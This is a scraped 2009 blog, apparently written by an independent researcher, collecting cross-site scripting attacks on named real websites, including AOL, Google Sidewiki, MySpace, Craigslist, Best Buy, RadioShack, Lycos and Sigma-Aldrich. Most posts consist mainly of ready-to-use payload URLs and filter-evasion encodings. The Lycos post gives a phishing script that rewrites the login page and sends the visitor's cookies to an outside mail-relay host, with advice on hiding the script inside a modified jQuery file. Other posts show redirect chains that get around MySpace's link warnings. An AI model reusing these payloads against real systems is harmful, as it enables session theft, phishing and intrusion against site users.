MLive's profile system has no XSS protection. HTML of any sort can be entered in the About Me field.
http://connect.mlive.com/user/XSSBlog/index.html
Monday, November 2, 2009
More Reflected XSS - AOL.com
More of the same.
http://messageboards.aol.com/aol/en_us/search.php?search="style="position:absolute;top:0;left:-500px;width:9999px;height:9999px;"onmouseover="alert(0)&boardId=519911&search_all=0&search_type=2
http://finance.aol.com/lookup/"style="width:9999px;height:9999px;"onmouseover="alert(0)">/usa
And of course being a myspace white listed site these can be used to get around msplinks.
http://www.msplinks.com/MDFodHRwOi8vbWVzc2FnZWJvYXJkcy5hb2wuY29tL2FvbC9lbl91cy9zZWFyY2gucGhwP3NlYXJjaD0lMjJzdHlsZT0lMjJwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0Oi01MDBweDt3aWR0aDo5OTk5cHg7aGVpZ2h0Ojk5OTlweDslMjJvbm1vdXNlb3Zlcj0lMjJ3aW5kb3cubG9jYXRpb249J2h0dHA6Ly9jcm9zcy1zaXRlLXNjcmlwdGluZy5ibG9nc3BvdC5jb20nJmJvYXJkSWQ9NTE5OTExJnNlYXJjaF9hbGw9MCZzZWFyY2hfdHlwZT0y
http://messageboards.aol.com/aol/en_us/search.php?search="style="position:absolute;top:0;left:-500px;width:9999px;height:9999px;"onmouseover="alert(0)&boardId=519911&search_all=0&search_type=2
http://finance.aol.com/lookup/"style="width:9999px;height:9999px;"onmouseover="alert(0)">/usa
And of course being a myspace white listed site these can be used to get around msplinks.
http://www.msplinks.com/MDFodHRwOi8vbWVzc2FnZWJvYXJkcy5hb2wuY29tL2FvbC9lbl91cy9zZWFyY2gucGhwP3NlYXJjaD0lMjJzdHlsZT0lMjJwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0Oi01MDBweDt3aWR0aDo5OTk5cHg7aGVpZ2h0Ojk5OTlweDslMjJvbm1vdXNlb3Zlcj0lMjJ3aW5kb3cubG9jYXRpb249J2h0dHA6Ly9jcm9zcy1zaXRlLXNjcmlwdGluZy5ibG9nc3BvdC5jb20nJmJvYXJkSWQ9NTE5OTExJnNlYXJjaF9hbGw9MCZzZWFyY2hfdHlwZT0y
Labels:
AOL,
hacking,
html,
javascript,
msplinks.com,
phishing,
programming,
social engineering,
Type 1 XSS,
web development
Sunday, October 4, 2009
Bypassing Msplinks.com Revisited - Myspace.com
The technique I previously blogged about still works, but ytmnd.com has fixed the XSS vulnerability used in that posting. Here's a hole in another Msplinks.com whitelisted site:
http://www.canada.com/search/search.html?q=')}window.location='http://cross-site-scripting.blogspot.com/';{('
Just as before 01 is prefixed to the XSS redirect URL, then the result is Base64 encoded and appended to http://www.msplinks.com/.
http://www.msplinks.com/MDFodHRwOi8vd3d3LmNhbmFkYS5jb20vc2VhcmNoL3NlYXJjaC5odG1sP3E9Jyl9d2luZG93LmxvY2F0aW9uPSdodHRwOi8vY3Jvc3Mtc2l0ZS1zY3JpcHRpbmcuYmxvZ3Nwb3QuY29tLyc7eygn
http://www.canada.com/search/search.html?q=')}window.location='http://cross-site-scripting.blogspot.com/';{('
Just as before 01 is prefixed to the XSS redirect URL, then the result is Base64 encoded and appended to http://www.msplinks.com/.
http://www.msplinks.com/MDFodHRwOi8vd3d3LmNhbmFkYS5jb20vc2VhcmNoL3NlYXJjaC5odG1sP3E9Jyl9d2luZG93LmxvY2F0aW9uPSdodHRwOi8vY3Jvc3Mtc2l0ZS1zY3JpcHRpbmcuYmxvZ3Nwb3QuY29tLyc7eygn
Wednesday, September 30, 2009
Persistent XSS Vulnerability - Google.com
Here's a good one: Google Sidewiki has a type 2 XSS vulnerability. Upon editing an entry (and possibly when adding one, I didn't test it) an HTTP proxy such as Fiddler can be used to alter the pagetitle field.
The code replacing the pagetitle value is as follows.
The a tag is stripped out, but as only one pass is performed a new a tag is created.
The result is a profile containing the arbitrary code.
http://www.google.com/profiles/108489460074237220044?hl=en#sidewiki
The code replacing the pagetitle value is as follows.
<<a>a onmouseout=alert(0)>a
The a tag is stripped out, but as only one pass is performed a new a tag is created.
<a onmouseout=alert(0)>a
The result is a profile containing the arbitrary code.
http://www.google.com/profiles/108489460074237220044?hl=en#sidewiki
Labels:
cross-site scripting,
fiddler,
google,
hacking,
html,
javascript,
persistent xss,
programming,
security,
type 2 xss,
web development,
xss
Friday, September 25, 2009
Persistent XSS Vulnerability - IntenseDebate.com
The profile description field of Intense Debate has a type 2 XSS vulnerability. Using it, arbitrary code can be run when the affected profile is viewed or when the mouse cursor is over the avatar present next to comments posted by the account.
http://intensedebate.com/people/JohnnyCake5
http://www.woodtv.com/dpp/your_money/wall_street/Stocks_End_Low_As_Healthcare_Recovers_2887663#IDComment35942133
<a style="position:absolute;top:-500px;left:-500px;width:9999px;height:9999px;" onmouseover="alert(0)"></a>
http://intensedebate.com/people/JohnnyCake5
http://www.woodtv.com/dpp/your_money/wall_street/Stocks_End_Low_As_Healthcare_Recovers_2887663#IDComment35942133
Saturday, September 19, 2009
Persistent XSS Vulnerability - AssociatedContent.com
Several of the fields of Associated Content profile system have persistent XSS vulnerabilities. Such a vulnerability could be used to craft a rather nasty worm.
The code shown in the screenshots is as follows:
"style="position:absolute;top:0;left:0;width:9999px;height:9999px;"onmouseover="alert(0)
http://www.associatedcontent.com/user/631547/xss_blog.html
The code shown in the screenshots is as follows:
"style="position:absolute;top:0;left:0;width:9999px;height:9999px;"onmouseover="alert(0)
http://www.associatedcontent.com/user/631547/xss_blog.html
Thursday, September 10, 2009
Leveraging Existing CSS - Stickam.com
Stickam's filters are quite strict; attempting to inject a script tag results in an internal error page. The same thing happens with a variety of other tags, any event attribute, certain CSS property values (e.g. setting position to absolute) and even many of the site's CSS IDs and classes. But the filters miss some of the ID selectors that set the element position to absolute, and this can be utilized to cover the entire page with a link.
http://www.stickam.com/onlineMembers.do?personalTags="<a id="cboxTitle"style="height:9999px;width:9999px;"href="http://cross-site-scripting.blogspot.com"</a>
http://www.stickam.com/onlineMembers.do?personalTags="<a id="cboxTitle"style="height:9999px;width:9999px;"href="http://cross-site-scripting.blogspot.com"</a>
Monday, September 7, 2009
Sidestepping Filters - Craigslist.org
Because the of the lack of HTML encoding, tags can be injected using the search forum search feature assuming no results are found. Testing this with H1 tags yields the expected results.
However, attempting the same thing with script results in the page being rendered only up to to the opening tag.
But by adding a single character after the closing script tag, the filter causing this behavior can be sidestepped.
http://craigslist.org/forums/?SQ=fffffffff<script>alert(0)</script>f&act=RSR&forumID=8
However, attempting the same thing with script results in the page being rendered only up to to the opening tag.
But by adding a single character after the closing script tag, the filter causing this behavior can be sidestepped.
http://craigslist.org/forums/?SQ=fffffffff<script>alert(0)</script>f&act=RSR&forumID=8
Friday, September 4, 2009
Exploiting The Meta Tag - Local.Myspace.com
Despite the lack of HTML encoding of data passed to the vulnerable market field, tags cannot be used as sending a less than character followed by any alphabetic character redirects the user to a presumably security related error page. But by injecting the http-equiv attribute, the vulnerable meta tag can be repurposed.
http://local.myspace.com/index.cfm?fuseaction=local.hub&dma=467&market=0;http://cross-site-scripting.blogspot.com/"http-equiv="refresh"
http://local.myspace.com/index.cfm?fuseaction=local.hub&dma=467&market=0;http://cross-site-scripting.blogspot.com/"http-equiv="refresh"
Labels:
ASCII,
cross-site scripting,
hacking,
html,
myspace.com,
programming,
security,
social engineering,
web development,
xss
Sunday, August 30, 2009
Insecure IFrame - Myspace.com
The Myspace volunteer search results are embedded in the page using an IFrame, its source set by the searchresults field of the query string. Because no checks are performed on the URL specified by the field, any can be used. The result is a hard to detect XSS vulnerability; it even works with Internet Explorer 8 despite the new anti-XSS measures.
http://www.myspace.com/volunteerspace?searchresults=http://cross-site-scripting.blogspot.com/
http://www.myspace.com/volunteerspace?searchresults=http://cross-site-scripting.blogspot.com/
Sunday, August 16, 2009
Bypassing Myspace IM XSS Filters - Myspace.com
The filtering Myspace IM uses is rather aggressive. Regardless of context, document. is changed to document· and eval() to ..). By using percent-encoding and JavaScript escaped hex sequences this can be circumvented.
The vulnerability (only works when logged in):
http://myspace.com/index.cfm?fuseaction="};alert(0);var x={"":"
The vulnerability re-encoded to bypass IM filters:
http://myspace.com/index.cfm?fuseaction=%22};%65val('alert(document%5Cx2Ecookie)'%29;var%20x={%22%22:%22
The vulnerability (only works when logged in):
http://myspace.com/index.cfm?fuseaction="};alert(0);var x={"":"
The vulnerability re-encoded to bypass IM filters:
http://myspace.com/index.cfm?fuseaction=%22};%65val('alert(document%5Cx2Ecookie)'%29;var%20x={%22%22:%22
Sunday, June 21, 2009
Bypassing Msplinks.com Notifications - Myspace.com
As a preventative measure Myspace.com routes all user posted links through Msplinks.com. If the linked site is not on the msplinks whitelist a notification that the user is visiting an external site is displayed, and the the user must click another link to continue. To circumvent this system, an XSS vulnerability in a whitelisted site can be used as a redirect.
Fortunately ytmnd.com has a vulnerability. By prepending 01 to an xss redirect url, base64 encoding the result, and appending it to http://www.msplinks.com/ we can create a link that can be posted on Myspace. When the user clicks this link, no external site warnings are displayed.
The vulnerable whitelisted site:
http://www.ytmnd.com/search?q="]}}};window.location='http://www.asdf.com/';{{{//
A msplinks link that redirects to the xss redirect:
http://www.msplinks.com/MDFodHRwOi8vd3d3Lnl0bW5kLmNvbS9zZWFyY2g/cT0lMjIlNUQlN0QlN0QlN0Q7d2luZG93LmxvY2F0aW9uPSdodHRwOi8vd3d3LmFzZGYuY29tLyc7JTdCJTdCJTdCLy8=
Fortunately ytmnd.com has a vulnerability. By prepending 01 to an xss redirect url, base64 encoding the result, and appending it to http://www.msplinks.com/ we can create a link that can be posted on Myspace. When the user clicks this link, no external site warnings are displayed.
The vulnerable whitelisted site:
http://www.ytmnd.com/search?q="]}}};window.location='http://www.asdf.com/';{{{//
A msplinks link that redirects to the xss redirect:
http://www.msplinks.com/MDFodHRwOi8vd3d3Lnl0bW5kLmNvbS9zZWFyY2g/cT0lMjIlNUQlN0QlN0QlN0Q7d2luZG93LmxvY2F0aW9uPSdodHRwOi8vd3d3LmFzZGYuY29tLyc7JTdCJTdCJTdCLy8=
Labels:
cross-site scripting,
hacking,
html,
javascript,
myspace.com,
social engineering,
xss
Thursday, June 4, 2009
Breaking Things With Null - Classifieds.Myspace.Com
Sometimes passing special characters through a query string can cause in strange behavior. Using URL encoding we can search for the null character on classifieds.myspace.com. The result is an error page notifying the user that the server is too busy, and it just so happens that the retry link has a Chrome and IE compatible XSS vulnerability.
http://classifieds.myspace.com/browse/?q=%00"onmouseover="alert(0);
And with styling:
http://classifieds.myspace.com/browse/?q=%00"onmouseover="alert(0);"style="float:left;height:999px;width:999px;margin-top:-400px
http://classifieds.myspace.com/browse/?q=%00"onmouseover="alert(0);
And with styling:
http://classifieds.myspace.com/browse/?q=%00"onmouseover="alert(0);"style="float:left;height:999px;width:999px;margin-top:-400px
Labels:
ASCII,
cross-site scripting,
hacking,
html,
javascript,
programming,
security,
social engineering,
xss
Tuesday, June 2, 2009
Getting The Most Out Of onmouseover - eBaumsWorld.com
Getting The Most Out Of onmouseover - www.ebaumsworld.com
By styling a vulnerable element the inline onmouseover event can be nearly as effective as onload. Using the width and height CSS properties the chance of a user hovering their mouse over a vulnerable element can be greatly increased.
http://www.ebaumsworld.com/search/criteria="onmouseover="alert(0);
Prior to styling the control the injected script is only run if the user hovers over the search input in the center of the screen.
http://www.ebaumsworld.com/search/criteria="style="width:999px;height:999px;"onmouseover="alert(0);
With more screen real estate taken up by the newly styled input chances of triggering the event are better.
By styling a vulnerable element the inline onmouseover event can be nearly as effective as onload. Using the width and height CSS properties the chance of a user hovering their mouse over a vulnerable element can be greatly increased.
http://www.ebaumsworld.com/search/criteria="onmouseover="alert(0);
Prior to styling the control the injected script is only run if the user hovers over the search input in the center of the screen.
http://www.ebaumsworld.com/search/criteria="style="width:999px;height:999px;"onmouseover="alert(0);
With more screen real estate taken up by the newly styled input chances of triggering the event are better.
Labels:
cross-site scripting,
hacking,
html,
javascript,
programming,
security,
web development,
xss
Thursday, May 21, 2009
Making The Best Of Things - Walmartstores.com
Despite the quote escaping being broken by the added backslash, the code below may seem secure. Note that the single quote character was left out of the test string; a search containing a single quote or <script> results in a 404 error.
http://walmartstores.com/search/?q=\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x48\x65\x6C\x6C\x6F\x2C\x20\x57\x6F\x72\x6C\x64\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\";document.write(s.prop7);//
s.pageName = "Search";Because of the extra backslashes necessary to use quotes, calling eval or document.write with a new string literal is not possible. And with the search string converted to lowercase, String.fromCharCode cannot be called. However, nothing is stopping us from setting s.prop7 to anything we want using hex character codes then passing it to eval or document.write. Doing so would look something like this:
s.prop1 = "search";
s.prop7 = "testa.,:;\\"<>()[]{}";
s.prop11 = "0";
s.prop17 = "walmartstores.com";
http://walmartstores.com/search/?q=\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x48\x65\x6C\x6C\x6F\x2C\x20\x57\x6F\x72\x6C\x64\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\";document.write(s.prop7);//
Labels:
cross-site scripting,
javascript,
programming,
security,
web development,
xss
Saturday, May 16, 2009
Phishing With jQuery - Registration.Lycos.Com
jQuery is a wonderful tool when the need to traverse the HTML DOM arises. With only a few lines of code the layout of a web page can be drastically altered. Using an XSS vulnerability and a bit of creativity we can manipulate http://registration.lycos.com, turning it into what appears to be a reactivation link that users must click to keep their accounts. When the user navigates to the page, the malicious code reads the value cookie and sends it to us using an anonymous mailing service. All of this will happen transparently as the user is waiting to be redirected to http://mail.lycos.com.
First, we need the vulnerability. https://registration.lycos.com/login.php?action=login&m_PR=27&m_CBURL=http://www.lycos.com/&m_U='/><script>alert('Hello, World');</script> will work.
Next is the jQuery. Using it we're going to alter the title and login form, then email the cookie value by appending a hidden iframe to TestDiv. The JavaScript below should fulfill these needs, mailing to you@yourdomain.com.
To obscure our code and keep the URL short we can remove all unnecessary whitespace and append it to the end of the jQuery file. Doing so would look something like this:
Include the modified version of jQuery using the vulnerability and the result will look like the screenshot below.
First, we need the vulnerability. https://registration.lycos.com/login.php?action=login&m_PR=27&m_CBURL=http://www.lycos.com/&m_U='/><script>alert('Hello, World');</script> will work.
Next is the jQuery. Using it we're going to alter the title and login form, then email the cookie value by appending a hidden iframe to TestDiv. The JavaScript below should fulfill these needs, mailing to you@yourdomain.com.
$(this).load(function() {
$('title').html('Reactivation');
$('form').html('<div id="TestDiv"></div><h3 style="color:green;margin:">Activated</h3>Your account has been reactivated.<br />Redirecting to <a href="http://mail.lycos.com">http://mail.lycos.com</a>...');
var u = 'http://send-anonymous-email.com/Record.php?email_from=someemail%40domain.com&email_to=you%40yourdomain.com&subject=Have+A+Cookie&message=' + escape(document.cookie) + '&kind=html';
$('#TestDiv').append('<iframe style="display:none;" src="' + u + '" />');
setTimeout("window.location='http://mail.lycos.com';", 5000);
});
To obscure our code and keep the URL short we can remove all unnecessary whitespace and append it to the end of the jQuery file. Doing so would look something like this:
[jQuery] $(this).load(function(){$('title').html('Reactivation');$('form').html('<div id="TestDiv"></div><h3 style="color:green;margin:">Activated</h3>Your account has been reactivated.<br />Redirecting to <a href="http://mail.lycos.com">http://mail.lycos.com</a>...');var u='http://send-anonymous-email.com/Record.php?email_from=someemail%40domain.com&email_to=you%40yourdomain.com&subject=Have+A+Cookie&message='+escape(document.cookie)+'&kind=html';$('#TestDiv').append('<iframe style="display:none;" src="'+u+'"/>');setTimeout("window.location='http://mail.lycos.com';",5000);});
Include the modified version of jQuery using the vulnerability and the result will look like the screenshot below.
https://registration.lycos.com/login.php?action=login&m_PR=27&m_CBURL=http://www.lycos.com/&m_U='/><script src="http://www.yourdomain.com/modifiedjQuery.js"></script>
Labels:
cross-site scripting,
html,
javascript,
jquery,
phishing,
programming,
security,
social engineering,
web development,
xss
Wednesday, May 13, 2009
Little or No Effort - Search.Harvard.edu
Given the proliferation of data driven sites, it's no surprise that XSS vulnerabilities are everywhere. What is surprising, however, is the number of high profile sites lacking countermeasures. Harvard's search page is a perfect example of this; we can easily inject a script using the oldqt field.
No tricks needed, all it takes is a script tag.
http://search.harvard.edu:8765/query.html?charset=iso-8859-1&qt=cross-site%20scripting&oldqt=%3Cscript%20type%3D%22text/javascript%22%20src=%22http://xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js%22%3E%3C/script%3E
No tricks needed, all it takes is a script tag.
Labels:
cross-site scripting,
javascript,
programming,
security,
web development,
xss
Friday, May 8, 2009
Injecting Script Tags Without Access to Less Than and Greater Than Characters - Bestbuy.com
Many times an XSS vulnerability allows for injection of JavaScript, but will (seemingly) prohibit XHTML by encoding < and > respectively as < and >. This certainly complicates matters, but with a little effort and obfuscation we can sidestep such preventative measures. To assist in such tasks I created XSS JavaScript Obfuscator (creative name, I know).
Let's take a look at http://www.bestbuy.com/ to see what can be done with such utilities. As always the first thing we need to do is find the vulnerability. A little testing reveals that the id field is vulnerable to JavaScript injection.
But with less than and greater than characters blocked how can we include an off-site script? This is where the obfuscator comes in. To use it, we're going to have to split our attack into parts.
Now that we've got our attack broken up lets populate the fields of XSS JavaScript Obfuscator (embedded at the bottom of this post) and generate some links for http://www.bestbuy.com
And here we are with several links containing obfuscated JavaScript that will inject a script tag. Testing should reveal which links work best; generally the obfuscation methods ending with a partial URL encode are the most compatible.
Let's take a look at http://www.bestbuy.com/ to see what can be done with such utilities. As always the first thing we need to do is find the vulnerability. A little testing reveals that the id field is vulnerable to JavaScript injection.
http://www.bestbuy.com/site/olspage.jsp?id=testA.,:;\'"<>()[]{}&type=categoryAnd here is the vulnerable line of JavaScript:
By in injecting ",null,"/",triggerParms["domain"]);var%20x%3Dnew%20Array(" we can turn the vulnerable block of code into this:
ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "testA.,:;\'"()[]{}- page-detail-404-error", null, "/", triggerParms["domain"])
At this point we can easily inject JavaScript
ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "",null,"/",triggerParms["domain"]);var x=new Array("- page-detail-404-error", null, "/", triggerParms["domain"]);
http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);alert('Hello,%20World!');var%20x%3Dnew%20Array("&type=category
But with less than and greater than characters blocked how can we include an off-site script? This is where the obfuscator comes in. To use it, we're going to have to split our attack into parts.
Url Prefix | http://www.bestbuy.com/site/olspage.jsp?id= |
---|---|
Url Suffix | &type=category |
Attack Vector Prefix | ",null,"/",triggerParms["domain"]); |
Attack Vector Suffix | var x=new Array(" |
Code | <script type="text/javascript" src="http://xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js"></script> |
Now that we've got our attack broken up lets populate the fields of XSS JavaScript Obfuscator (embedded at the bottom of this post) and generate some links for http://www.bestbuy.com
String.fromCharCode | |
---|---|
String.fromCharCode + Partial Url Encode | |
String.fromCharCode + Complete Url Encode | |
Unescape Partial Encode | |
Unescape Partial Encode + Partial Url Encode | |
Unescape Partial Encode + Full Url Encode | |
Unescape Full Encode | |
Unescape Full Encode + Partial Url Encode | |
Unescape Full Encode + Full Url Encode | |
Unescape Unicode | |
Unescape Unicode + Partial Url Encode | |
Unescape Unicode + Full Url Encode | |
Hex String | |
Hext String + Partial Url Encode | |
Hex String + Full Url Encode |
And here we are with several links containing obfuscated JavaScript that will inject a script tag. Testing should reveal which links work best; generally the obfuscation methods ending with a partial URL encode are the most compatible.
XSS JavaScript Obfuscator
Url Prefix | Url Suffix |
Attack Vector Prefix | Attack Vector Suffix |
Code | Encoded Javascript |
Partial Url Encode | Complete Url Encode |
Decode Method String.fromCharCode call unescape partial encode call unescape full encode call unescape full unicode encode call hex string | Decode Return Call document.write eval |
Labels:
ASCII,
cross-site scripting,
javascript,
obfuscation,
programming,
security,
web development,
xss
Tuesday, May 5, 2009
Insecure JavaScript - RadioShack.com
Today we're going to examine www.radioshack.com. As with many XSS exploits, this will be short and simple. Looking at the site you'll notice that they have a product search. Just as before we'll test this using our special string, testA.,:;\'"<>()[]{}
Without viewing the source it's apparent that our test string has been significantly altered. ,:;\'"<>()[]{} has been completely removed from our search, but how much of this happened client-side? Lets take a look at the current URL.
By changing the kw field to our original search string we can create our own URL and see how reliant on client-side validation the site is. Our new URL should look like this:
Things certainly look better, but it's still possible the search is secure. To find out, we'll have to view the source of the page. Looking at the first match for testA it's apparent that our search string is encoded.
This complicates things, but an attack is still possible. Lets look at some of the other results. Near the bottom of the page is the following block of javascript:
Because we have access to the single quote character, we can easily inject code here. Consider what would happen if we passed in ';var x=' as the keyword.
At this point we can write any javascript we want between the ; and v provided we don't use any of the encoded characters. As an example of what can be done with this, we can craft a URL that redirects to a download making it seem as is if it's coming from www.radioshack.com.
And again we can URL encode the payload.
Without viewing the source it's apparent that our test string has been significantly altered. ,:;\'"<>()[]{} has been completely removed from our search, but how much of this happened client-side? Lets take a look at the current URL.
http://www.radioshack.com/search/noResults.jsp?useCatForBc=1&bcLinkAll=1&sr=1&kw=testa.&origkw=testA.,:;\'%26quot;%26lt;%26gt;()[]{}&kwCatId=
By changing the kw field to our original search string we can create our own URL and see how reliant on client-side validation the site is. Our new URL should look like this:
http://www.radioshack.com/search/noResults.jsp?useCatForBc=1&bcLinkAll=1&sr=1&kw=testA.,:;\'"<>()[]{}&origkw=testA.,:;\'%26quot;%26lt;%26gt;()[]{}&kwCatId=
Things certainly look better, but it's still possible the search is secure. To find out, we'll have to view the source of the page. Looking at the first match for testA it's apparent that our search string is encoded.
<input type="text" style="font-size:10px;width:164px;" name="kw" id="kw" value="testA.,:;\'"<>()[]{}">
This complicates things, but an attack is still possible. Lets look at some of the other results. Near the bottom of the page is the following block of javascript:
var s_account='gsicrsk';
var s_server='www.radioshack.com';
var s_hier1='';
var s_eVar19='67340647933';
var s_channel='Home';
var s_eVar3='testA.,:;\'"<>()[]{}';
var s_pageName='Search (internal)';
Because we have access to the single quote character, we can easily inject code here. Consider what would happen if we passed in ';var x=' as the keyword.
var s_account='gsicrsk';
var s_server='www.radioshack.com';
var s_hier1='';
var s_eVar19='67340647933';
var s_channel='Home';
var s_eVar3='';var x='';
var s_pageName='Search (internal)';
At this point we can write any javascript we want between the ; and v provided we don't use any of the encoded characters. As an example of what can be done with this, we can craft a URL that redirects to a download making it seem as is if it's coming from www.radioshack.com.
http://www.radioshack.com/search/noResults.jsp?kw=';window.location='http://download.winzip.com/wzd/winzip120.exe';var x='
And again we can URL encode the payload.
http://www.radioshack.com/search/noResults.jsp?kw=%27%3B%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%64%6F%77%6E%6C%6F%61%64%2E%77%69%6E%7A%69%70%2E%63%6F%6D%2F%77%7A%64%2F%77%69%6E%7A%69%70%31%32%30%2E%65%78%65%27%3B%76%61%72%20%78%3D%27
Labels:
cross-site scripting,
hacking,
html,
javascript,
programming,
security,
web development,
xss
Sunday, May 3, 2009
XSS 101 - SigmaAldrich.com
The target of my first post will be www.sigmaaldrich.com, the website of international chemical supplier Sigma-Aldrich. First take a look at the website itself and look for an input whose data may be displayed on the page after postback.
Fortunately for us, sigmaaldrich.com has a search option. Because search engines generally accept a wide array of characters and display some form of the original search string on the results page, they are an excellent attack vector for cross-site scripting. To see what sort of encoding the search goes through, we're going to use a special string:
After searching for the string, view the source of the results page and search for testA within the code. The first result should look like the javascript below.
Here we can see an unencoded, exact match of our search within a javascript string. This means we have free reign to terminate the string (as was already done with the test string), finish the function call, and inject our own code. However, with access to less than and greater than characters, we should look further to see what else can be done. The next search string match is even more promising.
We're still free of encoding, and with this instance of the search string we can easily inject an HTML script tag referencing a javascript file on another server. Our script, for the sake of testing purposes, only contains an alert. The code that will be injected is shown below.
Note that the address in this sample doesn't actually point to anything; you'll need to replace it with your own.
Next, in the URL of the results page we replace the search string with the code we want to inject. The result should look like this:
When we navigate to this URL, an alert should pop up letting us know that our off site code has been successfully run.
To better hide the payload and enhance browser compatibility we can URL encode the javascript resulting in a link that would look similar to this:
And that's it. XSS is a simple, powerful reminder to properly encode all user entered data.
Fortunately for us, sigmaaldrich.com has a search option. Because search engines generally accept a wide array of characters and display some form of the original search string on the results page, they are an excellent attack vector for cross-site scripting. To see what sort of encoding the search goes through, we're going to use a special string:
testA.,:;\'"<>()[]{}
After searching for the string, view the source of the results page and search for testA within the code. The first result should look like the javascript below.
cmCreatePageviewTag("Result Page: Product Results","SS6", "Keyword (fulltext)|testA.,:;\'"<>()[]{}|", "2");
Here we can see an unencoded, exact match of our search within a javascript string. This means we have free reign to terminate the string (as was already done with the test string), finish the function call, and inject our own code. However, with access to less than and greater than characters, we should look further to see what else can be done. The next search string match is even more promising.
That Match Your Search for "testA.,:;\'"<>()[]{}"
We're still free of encoding, and with this instance of the search string we can easily inject an HTML script tag referencing a javascript file on another server. Our script, for the sake of testing purposes, only contains an alert. The code that will be injected is shown below.
<script type='text/javascript' src='http://www.yourdomain.com/test.js'></script>
Note that the address in this sample doesn't actually point to anything; you'll need to replace it with your own.
Next, in the URL of the results page we replace the search string with the code we want to inject. The result should look like this:
http://www.sigmaaldrich.com/catalog/Lookup.do?N5=Keyword%20(fulltext)&N3=mode+matchpartialmax&N4=<script type='text/javascript' src='http://www.yourdomain.com/test.js'></script>
When we navigate to this URL, an alert should pop up letting us know that our off site code has been successfully run.
To better hide the payload and enhance browser compatibility we can URL encode the javascript resulting in a link that would look similar to this:
http://www.sigmaaldrich.com/catalog/Lookup.do?N5=Keyword%20(fulltext)&N3=%3C%73%63%72%69%70%74%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%79%6F%75%72%64%6F%6D%61%69%6E%2E%63%6F%6D%2F%74%65%73%74%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E
And that's it. XSS is a simple, powerful reminder to properly encode all user entered data.
Labels:
cross-site scripting,
hacking,
html,
javascript,
programming,
security,
web development,
xss
Subscribe to:
Posts (Atom)